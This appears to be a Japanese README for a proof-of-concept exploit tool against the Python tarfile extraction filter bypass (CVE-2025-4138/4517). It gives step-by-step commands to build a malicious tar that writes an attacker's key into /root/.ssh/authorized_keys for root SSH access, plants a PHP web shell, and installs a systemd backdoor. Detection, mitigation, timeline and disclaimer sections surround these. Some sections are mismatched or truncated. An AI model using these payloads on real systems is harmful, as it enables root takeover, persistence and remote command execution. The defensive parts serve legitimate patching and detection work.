┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

escape  →  <overflow_link>/../../../../../../../root

escape/.ssh/            (directory, mode 0700 — created by tar extraction)

escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓

---

## 影響を受けるバージョン

| Python ブランチ | 影響を受けるバージョン範囲 | 修正済みバージョン | 状態 |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ パッチ済み |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ パッチ済み |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ パッチ済み |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ パッチ済み |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ パッチ済み |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ サポート終了 |
| 3.14+ | デフォルトのフィルターが `"data"` に変更された | 最新版を確認 | ⚠️ より高い曝露 |

> **注記:** Python 3.14+ では、デフォルトの `filter` パラメータが「フィルタリングなし」から `"data"` に変更されました。つまり、以前はフィルタがなく（そのためすでに安全ではなかった）アプリケーションが、デフォルトで脆弱なフィルタを使用するようになります。

---

## 影響を受けるコードパターン

脆弱な Python バージョンでこれを行っているアプリケーションは、悪用可能です:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

**要件:** Python 3.6+ (アーカイブ作成用 — **ターゲット**は脆弱性のあるバージョンを実行している必要があります)

---

## 使用方法

### クイックスタート — SSHキーインジェクション```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

### カスタムターゲット

ターゲットファイルシステム上の任意の絶対パスに任意のコンテンツを書き込みます:```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

### クイックバージョンチェック```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

### シンボリックリンクチェーンの構造

チェーンの各レベルは次の要素で構成されます:

| エントリ | タイプ | 名前長 | 目的 |
|:--|:--|:--|:--|
| ディレクトリ | `DIRTYPE` | 247文字 (Linux) / 55文字 (macOS) | 長い名前で解決パスを膨張させる |
| シンボリックリンク | `SYMTYPE` | 1文字 (`a`, `b`, …, `p`) | 長いディレクトリ名の短い別名 |

16レベル後:

| 指標 | 値 |
|:--|:--|
| **短いパス** (シンボリックリンク経由) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31文字 |
| **解決パス** (ディレクトリ経由) | `ddd…/ddd…/ddd…/…` ≈ **3968文字** |
| **PATH_MAX** | 4096バイト |
| **残り予算** | ~128バイト — トラバーサルペイロードには不十分 |

### フィルタ回避メカニズム

Pythonのtarfileモジュールの`data_filter`は次のチェックを実行します:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

---

## 実世界の攻撃シナリオ

### 1. 特権バックアップ復元

rootとして実行されるバックアップスクリプトが、ユーザーが提供したtarアーカイブを展開します：```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

**影響:** 悪意のあるアーティファクトがワークスペースから脱出 → CI 設定を上書き → ビルド基盤上でコード実行を達成。

### 3. Web アプリケーションのアップロード処理

Web アプリは tar アップロードを受け付けて展開します:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

**影響:** 悪意のあるPyPIパッケージがビルドディレクトリから脱出 → システムファイルを改変。

---

## 検出

### 侵害の指標

悪用を示す可能性のある以下のパターンを監視してください:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

---

## 緩和策

### 1. Python のアップグレード（推奨）```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

### 3. サンドボックス化された抽出```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

---

## 関連CVE

| CVE | 説明 | 深刻度 |
|:--|:--|:--|
| **CVE-2025-4138** | PATH_MAXオーバーフローによるシンボリックリンクターゲットフィルターのバイパス | 緊急 |
| **CVE-2025-4517** | realpathオーバーフローによる任意ファイル書き込み（同一の根本原因） | 緊急 |
| **CVE-2025-4330** | 抽出フィルターをバイパスするシンボリックリンクパストラバーサル | 高 |
| **CVE-2024-12718** | 抽出ディレクトリ外でのファイルメタデータの変更 | 高 |
| **CVE-2025-4435** | `errorlevel=0` の場合にフィルター対象ファイルが依然として抽出される | 中 |
| **CVE-2007-4559** | オリジナルのtarfileパストラバーサル（フィルター導入以前） | 高 |

これらはすべて [CPython Issue #135034](https://github.com/python/cpython/issues/135034) と [PR #135037](https://github.com/python/cpython/pull/135037) で対処されました。

---

## タイムライン

| 日付 | イベント |
|:--|:--|
| 2025-04-30 | Python Security Response Teamに脆弱性を報告 |
| 2025-06-02 | 公開issueをオープン — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | 修正をマージ — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [PSFセキュリティアナウンス](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) を公開 |
| 2025-06-03 | パッチ適用済みリリース: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | CERT-FR勧告 [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Google Security Research勧告 [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | 完全公開 |

---

## 参考情報

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google Security Research勧告 & オリジナルPoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — アップストリームのバグレポート
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — 修正コミット
- [PSFセキュリティアナウンス](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — 公式勧告
- [Seth Larsonの緩和Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — クイック緩和スクリプト
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Python `tarfile` 抽出フィルターのドキュメント](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Linux `realpath(3)` マニュアルページ](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAXの動作

---

## クレジット

- **脆弱性の発見:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **パッチ作成者:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **本PoC:** [DesertDemon](https://github.com/DesertDemons)

---

## 免責事項

> **⚠️ 本ツールは、許可されたセキュリティテスト、研究、および教育目的にのみ提供されます。**
>
> コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act (CFAA)、Computer Misuse Act、および世界各国の同等の法律に基づき違法です。所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。
>
> 著者は本ソフトウェアの誤用について一切の責任を負いません。本ツールを使用することにより、利用者は自身の行動に対して単独で責任を負い、適用されるすべての法律を遵守することに同意したものとみなされます。

---

**タグ:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## ライセンス

このプロジェクトは [MIT License](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE) の下でライセンスされています。

---

<p align="center">
  <sub>
    🔐 このツールが役に立つと思われたら、リポジトリにスターを付けていただけると幸いです<br>
    📫 責任ある開示に関するお問い合わせは、issueを開くかGitHubからご連絡ください
  </sub>
</p>